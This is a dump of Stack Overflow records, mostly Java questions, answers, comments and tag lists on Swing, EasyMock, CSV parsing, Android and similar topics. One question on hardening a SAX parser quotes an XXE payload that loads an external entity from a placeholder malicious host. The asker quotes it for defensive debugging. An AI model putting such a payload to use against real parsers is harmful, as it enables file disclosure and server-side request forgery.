{1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1}, {1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1}, {1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1}, {1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1…
has answer: http://stackoverflow.com/a/22236645
has answer: http://stackoverflow.com/a/22236885
has comment: http://stackoverflow.com/comment/33767650
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33767651
has comment: http://stackoverflow.com/comment/33786748
has comment: http://stackoverflow.com/comment/33769057
type: Question
tagged with: recursion
has answer: http://stackoverflow.com/a/22238044
has title: Maze Solver problems in Java

http://stackoverflow.com/comment/33997293
has text: You can also do this with HTML and MIME, if you know the format to write the data out. To see how, create a document manually using a "save as MIME" rtf and use the MIME API to analyze it.
comment on: http://stackoverflow.com/a/22300650
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/34524695
type: Comment
has text: I've implemented such configuration through Direct Web Service calls. Creating new fields, choices in the choice list, table. I tried hard to create views, forms, sections but it doesn't satisfy me completely. Anyway, thank you for your consideration!
comment on: http://stackoverflow.com/a/22284828
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33912148
type: AnswerComment
comment on: http://stackoverflow.com/a/22316612
type: Comment
has text: I can't do it. It does nothing.
score: 0

http://stackoverflow.com/q/22194320
has body: I've set the "http://apache.org/xml/features/disallow-doctype-decl" feature on the SAXParserFactory to true and I'm getting a NullPointerException when parsing an xml that contains an external entity. Code: SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); XML: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://malicioushost/xxe.xml" &gt; %remote; %payload;]&gt; Error: Caused by: java.lang.NullPointerException: null at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDProcessor.startDTD(XMLDTDProcessor.java:679) ~[na:1.7.0] at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(XMLDTDScannerImpl.java:341) ~[na:1.7.0] at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(XMLDocumentScannerImpl.java:1098) ~[na:1.7.0] at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(XMLDocumentScannerImpl.java:1047) ~[na:1.7.0] Does anyone know what additional settings should be done to avoid that NPE? I'm using java version: 1.7.0_51
tagged with: http://stackoverflow.com/tag/xml
tagged with: java
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/27310794
type: UnansweredQuestion
tagged with: saxparser
downvote count: 0
score: 1
has title: Getting NullPointerException when dissalowing doctype feature
favorite count: 0
type: Question

http://stackoverflow.com/comment/33858438
has text: Why the JavaScript tag?
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/22286695

http://stackoverflow.com/q/22219544
accepted answer: http://stackoverflow.com/a/22224532
has title: Align the label column of different DesignGridLayout
answer count: 1
downvote count: 0
tagged with: layout-manager
favorite count: 0
has comment: http://stackoverflow.com/comment/33736768
has comment: http://stackoverflow.com/comment/33764519
has body: Consider two JPanel instances using DesignGridLayout, like the following: JFrame demoApplicationFrame = new JFrame(); JPanel singleDesignGridLayout1 = new JPanel(); DesignGridLayout layout1 = new DesignGridLayout(singleDesignGridLayout1); layout1.row().grid(new JLabel("Short lbl1")).add(new JTextField("")); layout1.row().grid(new JLabel("Short lbl2")).add(new JTextField("")); JPanel singleDesignGridLayout2 = new JPanel(); DesignGridLayout layout2 = new DesignGridLayout(singleDesignGridLayout2); layout2.row().grid(new JLabel("A bit longer label")) .add(new JTextField("")); layout2.row().grid(new JLabel("Another long label here")) .add(new JTextField("")); demoApplicationFrame.getContentPane().add(singleDesignGridLayout1, BorderLayout.NORTH); demoApplicationFrame.getContentPane().add(singleDesignGridLayout2, BorderLayout.SOUTH); Executing that code, will create this window: Is it possible to align the column for labels of the two panels?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22224532
score: 1
has comment: http://stackoverflow.com/comment/33736444
tagged with: java
upvote count: 1
tagged with: swing
type: Question
linked to: http://stackoverflow.com/q/7229226
has comment: http://stackoverflow.com/comment/33737354

http://stackoverflow.com/comment/33810469
type: Comment
type: QuestionComment
has text: this exact question was posted only a few hours ago http://stackoverflow.com/questions/22255985/create-a-square-in-google-maps-so-when-someone-enters-the-square-an-action-is-ex are you and this other person friends or something
comment on: http://stackoverflow.com/q/22258066
score: 0

http://stackoverflow.com/comment/33828802
has text: OK, I have posted the sample code that used BufferedWriter
comment on: http://stackoverflow.com/q/22270287
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33844748
has text: It's seems like `com.example.MolConverter.MolConverter` not found. cross check your .jar files
score: 0
comment on: http://stackoverflow.com/q/22279154
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33824702
comment on: http://stackoverflow.com/a/22266817
has text: can u give an example ..i gave like this and it's showing no o/p.Pattern p = Pattern.compile("([^/?]+)\\?");...i am very new to the topic reg exp.it is not working for this link https://www.facebook.com/Federer
type: AnswerComment
score: 0
type: Comment

map-files
tag name: map-files
tags question: http://stackoverflow.com/q/22326631
type: Tag

http://stackoverflow.com/comment/33801631
comment on: http://stackoverflow.com/a/22255463
type: AnswerComment
score: 0
type: Comment
has text: He will need to `break` out of each `for` loop.

http://stackoverflow.com/comment/33915503
score: 0
type: AnswerComment
type: Comment
has text: @user3351284 Just see my edited answer it will give you all extensions in string form if you want then you can store it in array. Is there any thing else you want?
comment on: http://stackoverflow.com/a/22318358

http://stackoverflow.com/a/22203780
type: AcceptedAnswer
type: Answer
has body: This should be your code: import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.io.*; import javax.imageio.*; import java.awt.Graphics; public class Log extends JFrame { JButton b1; JLabel l1; Image bgImage; JLabel user = new JLabel("User"); JButton blogin = new JButton("Login"); JPanel panel = new JPanel(); JTextField txuser = new JTextField(15); JPasswordField pass = new JPasswordField(15); public static void main(String[] args) { Log frameTabel = new Log("bg.jpg"); } Log(String bgImg){ super("Login Autentification"); Toolkit tk = Toolkit.getDefaultToolkit(); int xSize = ((int) tk.getScreenSize().getWidth()); int ySize = ((int) tk.getScreenSize().getHeight()); try{ bgImage = ImageIO.read(new File(bgImg)); } catch(IOException e){} setSize(xSize,ySize); setLocationRelativeTo(null); panel.setLayout (null); setLayout(new BorderLayout()); JLabel background=new JLabel(new ImageIcon("C:\bg.jpg")); add(background); background.setLayout(new FlowLayout()); txuser.setBounds(Math.round(xSize/2) - 75,30,150,20); pass.setBounds(Math.round(xSize/2) - 75,65,150,20); blogin.setBounds(Math.round(xSize/2) - 40,100,80,20); user.setBounds(Math.round(xSize/2) - 150, 30, 50, 20); panel.add(user); panel.add(blogin); panel.add(txuser); panel.add(pass); getContentPane().add(panel); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setVisible(true); } public void paint(Graphics g){ super.paint(g); g.drawImage(bgImage, 0, 0, panel); } } Maybe you're asking yourself "why did he used xSize and substracted 75 or 40?" well, I divided it in two so we're in half of the window, now we substract half of the width of Textboxes so we have half width to the left and half to the right. For text of User, I just added JLabel and added it to the panel. Image background I tooked it from here I suggest you to think a bit more what you want and what you have, search in the web, 'cause there's mostly of times an answer to your questions. Anyway you'll get something like this: (Label of "u…
accepted answer of: http://stackoverflow.com/q/22203049
score: 0
answers question: http://stackoverflow.com/q/22203049

http://stackoverflow.com/comment/33878068
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22296782
has text: Ah, ok. but ist was close :) Still your answer doesn't match the question anymore.

http://stackoverflow.com/a/22314938
upvote count: 3
has comment: http://stackoverflow.com/comment/33910011
score: 3
has body: There's cardinality(), which returns the number of bits that are set. There's also length(), which returns 1 + the index of the highest bit set. And there's size(), which returns the capacity, in bits, of the set. Of those three length() - 1 is the closest thing to the "last bit set by you", but note that it is the index of the highest set bit, not the index of the most recently set bit (which is not possible using only BitSet). You also mentioned "number of elements added to it", for which cardinality() is the closest match (as long as you don't consider setting a bit to 0 to be semantically equivalent to "adding a 0 to the set").
answers question: http://stackoverflow.com/q/22314918
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33909413

clob
tags question: http://stackoverflow.com/q/22321663
tags question: http://stackoverflow.com/q/22221377
type: Tag
tag name: clob

hex
tags question: http://stackoverflow.com/q/22326885
tag name: hex
tags question: http://stackoverflow.com/q/22277969
tags question: http://stackoverflow.com/q/22321577
tags question: http://stackoverflow.com/q/22303604
tags question: http://stackoverflow.com/q/22311909
type: Tag

http://stackoverflow.com/a/22190762
score: 3
answers question: http://stackoverflow.com/q/22190601
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22190601
has body: Here's how to expect a call on a void method Custom mock = EasyMock.createMock(Custom.class); // create the mock mock.process(EasyMock.anyObject(MyObject.class)); // invoke the method EasyMock.expectLastCall(); // register it as expected EasyMock.replay(mock); // set the state mock.process(new MyObject()); // invoke the method in the test EasyMock.verify(mock); // verify the call
type: Answer
upvote count: 3

http://stackoverflow.com/comment/109568029
type: Comment
comment on: http://stackoverflow.com/a/22417118
score: 0
type: AnswerComment
has text: Could you please guide me here : https://stackoverflow.com/questions/61948943/spring-data-mongo-apply-unique-combination-fields-in-embedded-document

http://stackoverflow.com/comment/33686028
type: QuestionComment
score: 1
has text: Look into the `Object#toString()` method and what it returns for array types.
type: Comment
comment on: http://stackoverflow.com/q/22191485

android-actionbar
type: Tag
tags question: http://stackoverflow.com/q/22178322
tags question: http://stackoverflow.com/q/22190312
tags question: http://stackoverflow.com/q/22306952
tags question: http://stackoverflow.com/q/22316957
tag name: android-actionbar
tags question: http://stackoverflow.com/q/22173723

http://stackoverflow.com/comment/33663711
score: 0
has text: @alex that's a different thing and irrelevant of execution order. Add that to your question.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22178874

maven
tags question: http://stackoverflow.com/q/22186542
tags question: http://stackoverflow.com/q/22205915
type: Tag
tags question: http://stackoverflow.com/q/22175280
tags question: http://stackoverflow.com/q/22237806
tags question: http://stackoverflow.com/q/22253330
tags question: http://stackoverflow.com/q/22324023
tags question: http://stackoverflow.com/q/22259501
tags question: http://stackoverflow.com/q/22268673
tags question: http://stackoverflow.com/q/22271770
tags question: http://stackoverflow.com/q/22286316
tags question: http://stackoverflow.com/q/22220261
tags question: http://stackoverflow.com/q/22177599
tags question: http://stackoverflow.com/q/22305410
tags question: http://stackoverflow.com/q/22268690
tags question: http://stackoverflow.com/q/22265649
tags question: http://stackoverflow.com/q/22229088
tags question: http://stackoverflow.com/q/22197538
tags question: http://stackoverflow.com/q/22252834
tags question: http://stackoverflow.com/q/22279365
tags question: http://stackoverflow.com/q/22285882
tags question: http://stackoverflow.com/q/22243821
tags question: http://stackoverflow.com/q/22257517
tags question: http://stackoverflow.com/q/22195640
tags question: http://stackoverflow.com/q/22282965
tags question: http://stackoverflow.com/q/22171983
tags question: http://stackoverflow.com/q/22201673
tags question: http://stackoverflow.com/q/22215831
tags question: http://stackoverflow.com/q/22193792
tags question: http://stackoverflow.com/q/22252088
tags question: http://stackoverflow.com/q/22241098
tags question: http://stackoverflow.com/q/22215013
tags question: http://stackoverflow.com/q/22258756
tags question: http://stackoverflow.com/q/22194900
tags question: http://stackoverflow.com/q/22314453
tags question: http://stackoverflow.com/q/22181164
tags question: http://stackoverflow.com/q/22322433
tags question: http://stackoverflow.com/q/22238399
tags question: http://stackoverflow.com/q/22203441
tags question: http://stackoverflow.com/q/22266337
tags question: http://stackoverflow.com/q/22191914
tags question: http://stackoverflow.com/q/22323166
tags question: http://stackoverflow.com/q/22287140
tags question: http://stackoverflow.com/q/22224557
tags question: http://stackoverflow.com/q/22201136
tags question: http://stackoverflow.com/q/22259760
tags question: http://stackoverflow.com/q/22306811
tags question: http://stackoverflow.com/q/22236726
tags question: http://stackoverflow.com/q/22225519
tags question: http://stackoverflow.com/q/22291577
tags question: http://stackoverflow.com/q/22170851
tags question: http://stackoverflow.com/q/22252881
tags question: http://stackoverflow.com/q/22172230
tags question: http://stackoverflow.com/q/22255369
tags question: http://stackoverflow.com/q/22208898
tags question: http://stackoverflow.com/q/22237388
tags question: http://stackoverflow.com/q/22231197
tags question: http://stackoverflow.com/q/22221577
tags question: http://stackoverflow.com/q/22218497
tags question: http://stackoverflow.com/q/22230328
tags question: http://stackoverflow.com/q/22203214
tags question: http://stackoverflow.com/q/22310414
tags question: http://stackoverflow.com/q/22302681
tags question: http://stackoverflow.com/q/22203487
tags question: http://stackoverflow.com/q/22186430
tags question: http://stackoverflow.com/q/22258955
tags question: http://stackoverflow.com/q/22305409
tags question: http://stackoverflow.com/q/22221964
tags question: http://stackoverflow.com/q/22206095
tags question: http://stackoverflow.com/q/22228851
tags question: http://stackoverflow.com/q/22213948
tags question: http://stackoverflow.com/q/22221679
tags question: http://stackoverflow.com/q/22297112
tags question: http://stackoverflow.com/q/22281208
tags question: http://stackoverflow.com/q/22211038
tags question: http://stackoverflow.com/q/22246838
tags question: http://stackoverflow.com/q/22219396
tags question: http://stackoverflow.com/q/22231489
tags question: http://stackoverflow.com/q/22321378
tags question: http://stackoverflow.com/q/22296710

http://stackoverflow.com/a/22250293
has comment: http://stackoverflow.com/comment/33791910
has body: Your code works perfectly if you just change the sum100 method to be static: public static int sum100() { int sum = 0; for (int count=1; count &lt;= 100; count++) sum += count; return sum; } If you need more information on the subject I would recommend the Java Tutorials section Understanding Class Members.
downvote count: 0
has comment: http://stackoverflow.com/comment/33791842
has comment: http://stackoverflow.com/comment/33792216
score: 1
has comment: http://stackoverflow.com/comment/33791912
has comment: http://stackoverflow.com/comment/33792840
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22250231
has comment: http://stackoverflow.com/comment/33792094
answers question: http://stackoverflow.com/q/22250231
type: Answer

http://stackoverflow.com/comment/33830177
type: QuestionComment
has text: Hello, and welcome to stackoverflow, the purpose of this Q&A board is to answer questions people have about problems one might encounter while writing, or trying to write a code. This is not a way to ask for other developers to write code for yourself. Think of the question of a way to get an answer for you, so you can help future readers having a similar question get an answer as well. Your post is likely to be closed, and then deleted soon, so please take my comment into account next time you ask a question. Cheers!
score: 0
comment on: http://stackoverflow.com/q/22271299
type: Comment

http://stackoverflow.com/a/22297661
answers question: http://stackoverflow.com/q/22296931
downvote count: 0
score: 1
has body: You have few issues in that code in this part if(fields[i].get(cl) == null) { System.out.print("Value: NULL"); } if(fields[i].getType().isPrimitive()) { System.out.println("Value: " + fields[i].get(cl)); } if(fields[i].getType().isArray()) { Object[] object=(Object[])fields[i].get(obj); System.out.print("Values: "); for(int j=0;j&lt;object.length;j++){ System.out.print(object[j].toString() + ","); } } Fist is that you call the method on type instance instead of class. fields[i].get(obj) should be fields[i].get(cl) and you repeat that, when you check the value for private. Also you use to much invocation. You can simplify code readability if you assign the results to local variables. public void print(Object obj) throws IllegalArgumentException, IllegalAccessException { Class type = obj.getClass(); while(type != null) { System.out.printf("Class Name: %s ", type.getName()); System.out.println("FIELDS: "); for(Fiedl field : type.getFields()) { String modifier = Modifier.toString(field.getModifiers()); String name = field.getName(); System.out.printf("Modifiers: %s Name:%s\n",modifier,name); Object fieldValue = field.get(obj); Class&lt;?&gt; filedType = field.getType(); String printValue = null; if(fieldValue == null) { printValue = "NULL"; } else if(fieldType.isArray()) { printValue = Arrays.toString((Object[]) fieldValue); } else { printValue = String.valueOf(fieldValue); } System.out.printf("Value: %s",printValue); } System.out.println(); type = type.getSuperclass(); } }
upvote count: 1
type: Answer

http://stackoverflow.com/comment/33792181
comment on: http://stackoverflow.com/a/22247822
type: Comment
score: 0
has text: they could be null on the second level, and so on :)
type: AnswerComment

http://stackoverflow.com/comment/33720713
type: Comment
score: 0
type: AnswerComment
has text: @Dims Let me make this crystal clear: Set the initial delay to 10 seconds (`10000`), run the application and directly press the `Button`. Then wait as long as you want, the `Text` isn't updated (unless you press the `Button` again. If that's not cancelling, then I don't know what is.
comment on: http://stackoverflow.com/a/22210352

http://stackoverflow.com/comment/33926683
has text: You have to think some way to identify them OR change logic at which this JSON is generated
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22322873
type: Comment

http://stackoverflow.com/comment/33769057
score: 1
has text: After editing, you say it "doesn't work". How doesn't it work? Does it never finish executing? Does it finish but indicate it couldn't find a path? Does it give you a random path? Give us some more info than just "It doesn't work".
type: QuestionComment
comment on: http://stackoverflow.com/q/22236578
type: Comment

http://stackoverflow.com/a/22215446
downvote count: 0
has body: If you want to work with JSON, refer to this excellent article on getting Java to send message serializing your java type to JSON and on receiving C# to Deserealize to a C# type. Excerpt in Java: import java.io.IOException; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import com.google.gson.Gson; public class GuyServer { public static void main(String[] args) throws IOException { Gson gson = new Gson(); ServerSocket serverSocket = new ServerSocket(16001); System.out.println("Listening on port 16001. " + "Press enter to quit " + "after the next connection."); while (System.in.available() == 0) { Socket socket = serverSocket.accept(); System.out.println("A client has connected." + " Sending a new Guy down the pipe."); PrintWriter out = new PrintWriter(socket.getOutputStream(), true); Guy guy = Guy.getRandomGuy(); String json = gson.toJson(guy); out.print(json); out.close(); socket.close(); } System.out.println("Quitting..."); serverSocket.close(); } } C# End: using System; using System.IO; using System.Net.Sockets; using System.Web.Script.Serialization; class GuyClient { static void Main(string[] args) { String input; using (TcpClient tcpClient = new TcpClient("localhost", 16001)) using (NetworkStream networkStream = tcpClient.GetStream()) using (StreamReader streamReader = new StreamReader(networkStream)) { input = streamReader.ReadToEnd(); } Console.WriteLine("Received data: " + input + "\n"); JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer(); Guy bob = javaScriptSerializer .Deserialize&lt;Guy&gt;(input) as Guy; Console.WriteLine(bob.ToString()); } } Java Class import java.util.ArrayList; import java.util.List; import java.util.Random; public class Guy { private String name; public String getName() { return name; } } } C# Serlizable class using System; using System.Collections.Generic; [Serializable] class Guy { public string Name { get; set; } } I cleaned this up a bit to make it easier to understand. It won…
upvote count: 2
answers question: http://stackoverflow.com/q/22214926
type: Answer
score: 2

http://stackoverflow.com/a/22319400
answers question: http://stackoverflow.com/q/22319278
accepted answer of: http://stackoverflow.com/q/22319278
type: AcceptedAnswer
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33916843
has body: Make the changes as below: public void actionPerformed(ActionEvent e) { frame.setSize(new Dimension(800,800)); } Difference between setSize() and setPreferedSize() is here
has comment: http://stackoverflow.com/comment/33918904
has comment: http://stackoverflow.com/comment/33916635

http://stackoverflow.com/a/22217720
has body: For Android: If the user presses the "Home" button or a call is incoming the games pause() method is called. If the user returns after the call or after some time normally resume() is called. But if the Android OS decided to close your app, create() will be called, and if you do not store savegames i am sure it would reset the game. In your case the user did not exit the game but "pause" it by pressing "Home" button. To reset the game then, you could call dispose() in your pause() method, and in dispose you simply close your app. On Desktop pause() is called if you switch window or minimize the app, as far as i know. If you do not want to close the app in this case you have to controll, if it is desktop or android.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22203665

http://stackoverflow.com/comment/33661647
score: 0
comment on: http://stackoverflow.com/a/22177882
type: Comment
has text: for retrieving other values from table on that date, both are different dates, the date i input in textfield is java.util.date and the date i get from database is java.sql.date.
type: AnswerComment

http://stackoverflow.com/q/22319601
type: Question
linked to: http://stackoverflow.com/q/5803370
linked to: http://stackoverflow.com/q/12838230
has answer: http://stackoverflow.com/a/22421757
tagged with: java
has title: Shake Device to Launch App
tagged with: shake
has comment: http://stackoverflow.com/comment/33917178
has answer: http://stackoverflow.com/a/22568798
upvote count: 7
has answer: http://stackoverflow.com/a/22319917
downvote count: 1
has body: I am using this to work with Shake, and that works fine for me, but i wanna launch application when user shake their device, see my code below: @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); transcript=(TextView)findViewById(R.id.transcript); scroll=(ScrollView)findViewById(R.id.scroll); shaker=new Shaker(this, 1.25d, 500, this); } @Override public void onDestroy() { super.onDestroy(); shaker.close(); } public void shakingStarted() { Log.d("ShakerDemo", "Shaking started!"); transcript.setText(transcript.getText().toString()+"Shaking started\n"); scroll.fullScroll(View.FOCUS_DOWN); } public void shakingStopped() { Log.d("ShakerDemo", "Shaking stopped!"); transcript.setText(transcript.getText().toString()+"Shaking stopped\n"); scroll.fullScroll(View.FOCUS_DOWN); } So here is my question, how can i launch an application by shaking my device ?
favorite count: 0
type: UnansweredQuestion
tagged with: android
answer count: 4
has answer: http://stackoverflow.com/a/22541678
score: 6

http://stackoverflow.com/comment/33774571
comment on: http://stackoverflow.com/q/22240316
has text: What's your stack trace?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22227504
tagged with: oracle-database
has comment: http://stackoverflow.com/comment/33750607
has title: Oracle Imp utility issue
answer count: 0
tagged with: java
tagged with: oracle11g
type: Question
has comment: http://stackoverflow.com/comment/35152881
has comment: http://stackoverflow.com/comment/33808778
has comment: http://stackoverflow.com/comment/33778040
score: 0
has comment: http://stackoverflow.com/comment/33756300
has body: My application failed to import dump file in to Oracle(11 G) DB which was working till now. The java code executes 'imp.exe' during the execution as follows, String impLoc= orDir+"/bin/imp.exe" Process p = Runtime.getRuntime().exec(impLoc + " SK/pwd@orcl file=mydump.dmp full = y"); I could see the user SK is created but with out any tables/data. The pain points are I am not able to reproduce the issue No log files is enabled This code is being executed successfully from last one year (failed once or twice before this, and we ignored :( ) And very unfortunately I did not enabled log attribute and now I am very much clue less what had happened. I searched most of the log/trace files under oracle home, but could find any thing useful. It would much appreciated if any body could help me to locate any relevent log file (related to imp utility) to see what had gone wrong.
type: UnansweredQuestion

http://stackoverflow.com/comment/33820474
type: Comment
comment on: http://stackoverflow.com/a/22264974
score: 0
type: AnswerComment
has text: Thank you so Much. It worked once, but now it wont work again.

http://stackoverflow.com/comment/33667756
has text: Did you take a look at Play! Iteratee library ? If you are trying to solve the producer-consumer problem in an asynchronous way, Iteratees and Enumerators are the way to go, me thinks.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22174845

http://stackoverflow.com/a/22303502
upvote count: 1
has comment: http://stackoverflow.com/comment/33889153
score: 1
answers question: http://stackoverflow.com/q/22299678
downvote count: 0
has body: You are trying to get byte arrays from java String (UTF-16) which are got from jedis (with SafeEncoder to traduce UTF-16 to bytearray) which calls redis (C char 8 bit encoding). I think this is the root of your problem, your java String is probably incorrect and that makes protobuf fail. You should try using the byte array signatures from jedis: final List&lt;byte[]&gt; mget = jedis.mget(byteArray1, byteArray2, ...); And then try to use protobuf on the byte array. Also check how you insert your data in redis with jedis, in all cases it is recommended to use the byte array signatures with binary data.
type: Answer
has comment: http://stackoverflow.com/comment/33888671

http://stackoverflow.com/q/22283587
has answer: http://stackoverflow.com/a/22291528
possible better answer: http://stackoverflow.com/a/23595304
accepted answer: http://stackoverflow.com/a/22291528
has body: In my main activity I've got error: "cannot resolve symbol "ToastAdListener". Everything is declared in my AndroidManifest.xml and Play Services ara added to libs. Could You tell me what is wrong? PS. android.widget.Toast is imported too. @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initialize(); mAdView = new AdView(this); mAdView.setAdUnitId(getResources().getString(R.string.ad_unit_id)); mAdView.setAdSize(AdSize.BANNER); mAdView.setAdListener(new ToastAdListener(this)); //here is error RelativeLayout layout = (RelativeLayout) findViewById(R.id.relLayout); RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams( RelativeLayout.LayoutParams.MATCH_PARENT, RelativeLayout.LayoutParams.WRAP_CONTENT); layout.addView(mAdView, params); mAdView.loadAd(new AdRequest.Builder().build()); }
tagged with: admob
type: Question
answer count: 2
score: 0
has title: AdMob - cannot resolve symbol "ToastAdListener"
tagged with: android
has answer: http://stackoverflow.com/a/23595304
tagged with: toast
tagged with: android-toast
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/a/22231628
score: 0
type: Answer
has body: Follow the code: 1 Loop: y = 9, x = 1 2 Loop: y = 8, x = 2 3 Loop: y = 7, x = 3 4 Loop: y = 6, x = 4 5 Loop: y = 5, x = 5 That's it. In the 5 Loop x = 5 so the do while breaks.
has comment: http://stackoverflow.com/comment/33758000
answers question: http://stackoverflow.com/q/22231525

http://stackoverflow.com/comment/33779860
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22242714
type: QuestionComment
has text: @KunalKrishna Sorry about the confusion created. I myself was confused about this thing.

http://stackoverflow.com/comment/33808729
comment on: http://stackoverflow.com/q/22255809
score: 0
type: Comment
type: QuestionComment
has text: History : - Can use zip - part of core java : java.util.zip to compress, but not sure how much it will compress. - It's very unlikely to be able to compress significantly if it's already a jpeg... it's more likely to increase the size slightly. – Jon Skeet 2 hours ago - Most images are already in compressed formats (jpg, png, ...), so that won't help. – Raphaël Lemaire 2 hours ago - Buts its a base 64 string, am certain it will make it smaller. Anwyay should try it before saying so.

http://stackoverflow.com/comment/33738290
comment on: http://stackoverflow.com/a/22196578
score: 0
type: AnswerComment
has text: I believe an `OutOfMemoryError` is thrown when the heap is full. A `StackOverflowError`, however is thrown when a thread requires an additional frame when there is no room for it. (This is confirmed by comments and answers on this page).
type: Comment

http://stackoverflow.com/comment/33679627
has text: @MadProgrammer It's an assignment that emphasizes that we use java.util.Timer But I'll take your advice
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22187618

http://stackoverflow.com/q/22289753
has answer: http://stackoverflow.com/a/22547248
tagged with: project-avatar
downvote count: 0
has answer: http://stackoverflow.com/a/22540755
tagged with: avatarjs
answer count: 3
has answer: http://stackoverflow.com/a/22307315
favorite count: 0
score: 8
upvote count: 8
tagged with: java-8
tagged with: nashorn
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22307315
tagged with: java
has title: Avatar.js and Project Avatar
has body: In the context of Java 8 and Nashorn I see two projects being regularly mentioned. Avatar.js and Project Avatar What is the relation of these projects? Avatar.js has very little documentation. As far as I gathered it offers the possibility to execute node applications on the JVM. Project Avatar seems to build on Avatar.js. However the scope seems to be to provide an alternative Web-Framework for Java EE 7. Is it also possible to execute node programs (like i.e. grunt) with Project Avatar?
possible better answer: http://stackoverflow.com/a/22547248
type: Question

http://stackoverflow.com/comment/33916390
type: Comment
comment on: http://stackoverflow.com/a/22309488
type: AnswerComment
score: 0
has text: @MartinGian, You should accept this answer as it worked for you.

http://stackoverflow.com/a/22175765
type: Answer
score: 1
upvote count: 1
has body: Every integration method has its advantages and disadvantages, and its really hard to propose one based only on what you have provided, but here is some hints: Quick and Easy: if you don't mind high coupling, and major changes in the applications are not expected (like DB engine, or replacing on with non-Java system), you can go with RMI or even DB Procedure calls. Changes, Extendability and Scalability: if the applications are expected to be changing more than rarely -and they tend to do-, ESBs or Message Queues would be great, since they would produce a loosely coupled architecture. This would also make room for extendability (like if you would have a new application C, that would need to invoke A or/and B) HTTP Availability: If HTTP communication is available between applications, Web Services is an excellent integration method. Developers Knowledge: What technologies you/the team are familiar with. These are actually small hints, if you wish to go further in your research, I strongly recommend reading Enterprise Integration Patterns the book.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22174605
accepted answer of: http://stackoverflow.com/q/22174605

http://stackoverflow.com/q/22286878
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/22287415
downvote count: 0
accepted answer: http://stackoverflow.com/a/22289579
tagged with: generics
favorite count: 0
linked to: http://stackoverflow.com/q/4794777
has body: I'm trying to build up a generic method that parses a CSV file into an Object. I think I'm quite close to reach the objective but I'm a bit stuck with java generics, I'm still learning it. Now I'm stuck on my while cycle where I create the objects. I'm using jCSV to do the parsing for me. I'm following their documentation tutorial here. I can't figure out how to set the beanClass bc = it.next(); because beanClass does not exist as a class on my project, compilation error: cannot find symbol - class beanClass How can I fix this? I know I could simply do a List&lt;?&gt; beanClassList = csvFileReader.readAll(); but the problem is that on the first line of each CSV file I've the class name to where that data belongs to. I get this exception, which makes sense: Exception in thread "AWT-EventQueue-0" java.lang.NumberFormatException: For input string: "Car" My CSV files are something like this: ClassName value,value,value,value,value value,value,value,value,value ... Here's my code: public String importFromCsvFile(File f) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { FileReader fr = new FileReader(f); BufferedReader buffReader = new BufferedReader(fr); String className = buffReader.readLine(); buffReader.close(); //Java reflection to get the Class Object. Class beanClass = Class.forName("model." + className); Object beanObject = beanClass.newInstance(); Reader reader = new FileReader(f); ValueProcessorProvider provider = new ValueProcessorProvider(); CSVEntryParser&lt;?&gt; entryParser = new AnnotationEntryParser&lt;&gt;(beanClass, provider); CSVReader&lt;?&gt; csvFileReader= new CSVReaderBuilder&lt;&gt;(reader).entryParser((CSVEntryParser&lt;Object&gt;) entryParser).build(); Iterator&lt;?&gt; it = csvFileReader.iterator(); while (it.hasNext()) { beanClass bc = it.next(); // here is the compilation error } } Here's a CSV file example: Car 1,BMW,Z3,2000,20-AC-57 2,Mercedes,C4,2010,23-32-VJ 3,Alfa Romeo,A3,1992,XX-XX-XX
